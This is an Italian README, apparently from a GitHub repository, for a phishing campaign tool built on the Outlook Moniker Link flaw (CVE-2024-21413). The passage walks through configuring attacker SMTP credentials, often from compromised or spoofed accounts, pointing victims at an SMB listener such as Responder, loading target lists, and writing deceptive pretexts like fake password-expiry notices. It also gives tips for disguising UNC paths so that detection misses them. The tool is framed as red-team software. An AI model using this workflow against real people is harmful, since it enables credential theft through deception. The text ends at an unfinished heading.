BLIND TRUST - Framework per Campagne di Phishing con Moniker Link

Uno strumento di ricerca per la sicurezza progettato per simulare campagne di phishing mirate utilizzando la vulnerabilità CVE-2024-21413 Moniker Link. Pensato per operazioni di red team autorizzate, penetration testing e formazione sulla consapevolezza della sicurezza.

Panoramica

BLIND TRUST è un framework per campagne di phishing che aiuta i team di sicurezza a comprendere e testare le proprie difese contro attacchi email sofisticati. Sfrutta la tecnica Moniker Link per bypassare la Protected View di Outlook, fornendo una simulazione realistica che le organizzazioni possono utilizzare per rafforzare la propria postura di sicurezza.

Questo strumento automatizza il flusso di lavoro end-to-end di una campagna, dalla configurazione all'invio delle email, mantenendo la sicurezza operativa attraverso percorsi UNC personalizzabili e opzioni di pretesto flessibili.

Scopo

Le organizzazioni devono comprendere le tecniche di attacco reali per difendersi efficacemente. TRUST consente:

• Operazioni red team - Condurre campagne di phishing autorizzate nell'ambito di valutazioni della sicurezza
• Formazione sulla consapevolezza della sicurezza - Dimostrare ai dipendenti vettori di attacco reali
• Validazione delle vulnerabilità - Testare le capacità di rilevamento contro tecniche note
• Ricerca difensiva - Comprendere il comportamento di Moniker Link nel proprio ambiente

Funzionalità

• Campagne multi-destinatario - Inviare email di phishing a più target con una singola configurazione
• Caricamento flessibile dei target - Caricare i target tramite input interattivo o file .txt in stile wordlist
• Pretesto personalizzabile - Controllare oggetto dell'email, nome visualizzato del mittente e corpo del testo
• Percorsi UNC discreti - Personalizzare il percorso Moniker Link per renderlo realistico (dominio, nome condivisione, nome exploit)
• Autenticazione SMTP - Supporto per vari server SMTP con negoziazione TLS
• Logica di ripetizione automatica - Backoff esponenziale per guasti SMTP transitori
• Report della campagna - Stato di consegna per singolo target con risultati aggregati
• Nessuna firma codificata - Eliminazione di indicatori ovvi che espongono la tecnica

Installazione

Requisiti

• Python 3.7+
• Solo libreria standard (nessuna dipendenza esterna)

Setup

# Clona il repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Esegui lo strumento
python3 TRUST_v7.py

Requisiti

Lo strumento utilizza solo moduli della libreria standard Python:

getpass      - Input sicuro della password
html         - Escapamento HTML
ipaddress    - Validazione indirizzi IP
logging      - Logging strutturato
os           - Operazioni su file
re           - Espressioni regolari
signal       - Gestione segnali
smtplib      - Protocollo email SMTP
sys          - Utilità di sistema
time         - Operazioni temporali
dataclasses  - Modellazione della configurazione
email        - Costruzione email MIME
typing       - Suggerimenti di tipo

Nessun pacchetto esterno richiesto: funziona ovunque con Python 3.7+.

Avvio rapido

python3 TRUST_v7.py

Segui la procedura guidata interattiva attraverso 5 passaggi:

1. Credenziali Attaccante - Account SMTP per l'invio delle email
2. Configurazione Listener SMB - Indirizzo IP a cui i target si connetteranno
3. Configurazione Target - Carica le vittime da input o file wordlist
4. Personalizzazione Email - Oggetto, nome mittente e corpo del testo
5. Personalizzazione Payload - Host percorso UNC, condivisione e nomi exploit

Esempi di Utilizzo

Esempio 1: Input Interattivo (Campagna Piccola)

Caricare i target da [f]ile o [i]nput direttamente?: i
Indirizzo/i email target: [email protected], [email protected]

Oggetto email [Security Update Required]: Urgente: Avviso Scadenza Password
Nome visualizzato (campo Da) [Microsoft Security Center]: Team IT Sicurezza
Corpo email: La tua password scade tra 24 ore. Aggiornala immediatamente.

Host UNC (IP o dominio) [192.168.1.100]: it-internal.company.com
Nome condivisione UNC [updates]: patches
Nome exploit UNC [patch]: kb_security_2024

Esempio 2: Caricamento da Wordlist (Campagna Grande)

Crea targets.txt:

# Dipartimento Finanze
[email protected]
[email protected]
[email protected]

# Contabilità
[email protected]
[email protected]

Poi esegui:

Caricare i target da [f]ile o [i]nput direttamente?: f
Percorso del file target: targets.txt
[+] Caricati 5 target da targets.txt

Esempio 3: Pretesto Finanziario Realistico

Oggetto email: Revisione Finanziaria Q3 - Azione Richiesta
Nome visualizzato: Team Operazioni Finanziarie
Corpo email: Si prega di rivedere il bilancio finanziario Q3 allegato e fornire approvazione.

Host UNC: finance-internal.company.com
Condivisione UNC: quarterly
Exploit UNC: q3_financial_report

Percorso UNC generato: file://finance-internal.company.com/quarterly!q3_financial_report

Configurazione Spiegata

PASSO 1: Credenziali Attaccante

• Email attaccante: L'indirizzo email utilizzato per inviare le email di phishing (tipicamente un account compromesso o spoofato)
• Password SMTP: Credenziale di autenticazione per il server di posta

PASSO 2: Listener SMB

• IP listener SMB: L'indirizzo IP dove è in esecuzione il tuo listener SMB (es. Responder, impacket-smbserver). I target tenteranno di connettersi qui quando cliccano sul Moniker Link.

PASSO 3: Configurazione Target

Due opzioni:

• Input interattivo: Incolla le email direttamente (separate da virgola o newline)
• File wordlist: Carica da un file .txt con un'email per riga, commenti che iniziano con #

PASSO 4: Personalizzazione Email

• Oggetto: Riga dell'oggetto email (evita riferimenti a CVE; mantienilo professionale)
• Nome visualizzato Da: Il nome visualizzato nella testata dell'email
• Corpo email: Il testo del pretesto che spiega perché i target dovrebbero cliccare sul link

PASSO 5: Personalizzazione Payload

È qui che si evitano firme ovvie:

• Host UNC: Utilizza un dominio o sottodominio realistico (es. finance-internal.company.com) invece di un semplice IP
• Condivisione UNC: Nome condivisione realistico come quarterly, updates, documents
• Exploit UNC: Nome file realistico come q3_report, security_patch, training_document

Risultato: Invece dell'ovvio \\192.168.1.100\share!exploit, ottieni qualcosa come file://finance-internal.company.com/quarterly!q3_report.

Flusso di Esecuzione

Inizio
  ↓
[PASSO 1] Richiedi email attaccante e password SMTP
  ↓
[PASSO 2] Richiedi IP listener SMB
  ↓
[PASSO 3] Carica email target (file o input)
  ↓
     ↓→ Per ogni target:
     │  - Valida formato email
     │  - Controlla duplicati
     │
[PASSO 4] Richiedi pretesto email
     │  - Oggetto, nome Da, corpo testo
     │
[PASSO 5] Richiedi personalizzazione percorso UNC
     │  - Host, condivisione, nome exploit
     │
  ↓
[COSTRUISCI] Costruisci oggetto di configurazione
  ↓
[VALIDAZIONE] Controlla che tutti i campi siano presenti e validi
  ↓
[RIEPILOGO] Mostra riepilogo pre-invio per revisione
  ↓
[CONFERMA] L'utente approva o annulla
  ↓
[INVIA] Per ogni target:
     │  - Costruisci email MIME con Moniker Link personalizzato
     │  - Tenta consegna SMTP con logica di ripetizione
     │  - Registra successo/fallimento per target
     │
  ↓
[REPORT] Mostra risultati della campagna (consegnati vs falliti)
  ↓
Esci

Come Funziona

La Vulnerabilità

CVE-2024-21413 (Moniker Link) è una vulnerabilità di Outlook che permette di incorporare URL file:// con il carattere !. Quando un utente clicca su tale link, Outlook tenta di accedere al percorso UNC, innescando un tentativo di autenticazione NTLM anche in modalità Protected View.

Flusso di Attacco